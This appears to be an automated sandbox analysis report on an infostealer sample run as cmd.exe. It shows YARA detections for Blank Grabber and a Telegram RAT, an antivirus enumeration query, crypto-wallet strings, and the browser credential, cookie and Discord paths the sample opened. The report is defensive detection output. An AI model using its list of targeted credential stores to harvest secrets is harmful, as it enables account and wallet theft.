Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AEFD080 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 0_2_00007FF70AEFD080
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF15C70 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation, 0_2_00007FF70AF15C70
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A4248CC GetModuleFileNameW,GetVersionExW,LoadLibraryExW,LoadLibraryW, 65_2_00007FF69A4248CC
Source: C:\Users\user\Desktop\cmd.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Windows\System32\wbem\WMIC.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntivirusProduct

Stealing of Sensitive Information
barindex
Yara detected Blank Grabber
Source: Yara match File source: 00000001.00000002.2096102942.000001C916489000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1701296843.00000162C4354000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.2098275549.000001C916C2C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1701296843.00000162C4352000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.2090937481.000001C917404000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cmd.exe PID: 7264, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cmd.exe PID: 7280, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\_MEI72642\rarreg.key, type: DROPPED
Yara detected Telegram RAT
Source: Yara match File source: Process Memory Space: cmd.exe PID: 7280, type: MEMORYSTR
Found many strings related to Crypto-Wallets (likely being stolen)
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Electrum
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Jaxxz
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Exodusz
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: EthereumZ
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: keystoreZ
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\events
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\saved-telemetry-pings
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\bde1cb97-a9f1-4568-9626-b993438e38e1
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\4d5b179f-bba0-432a-b376-b1fb347ae64f
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.files
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\57328c1e-640f-4b62-a5a0-06d479b676c2
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\bookmarkbackups
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\2cb4572a-4cab-4e12-9740-762c0a50285f
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\events
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\e8d04e65-de13-4e7d-b232-291855cace25
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\minidumps
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\03a1fc40-7474-4824-8fa1-eaa75003e98a
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\8ad0d94c-ca05-4c9d-8177-48569175e875
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\5bc1a347-c482-475c-a573-03c10998aeea
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\temporary
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\default
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\to-be-removed
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\security_state
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\tmp
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\db
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean
Tries to steal communication platform credentials (via file / registry access)
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Discord
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\DiscordCanary
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\DiscordPTB
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\DiscordDevelopment
Yara detected Credential Stealer
Source: Yara match File source: 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cmd.exe PID: 7280, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Blank Grabber
Source: Yara match File source: 00000001.00000002.2096102942.000001C916489000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1701296843.00000162C4354000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.2098275549.000001C916C2C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1701296843.00000162C4352000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.2090937481.000001C917404000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cmd.exe PID: 7264, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cmd.exe PID: 7280, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\_MEI72642\rarreg.key, type: DROPPED
Yara detected Telegram RAT
Source: Yara match File source: Process Memory Space: cmd.exe PID: 7280, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
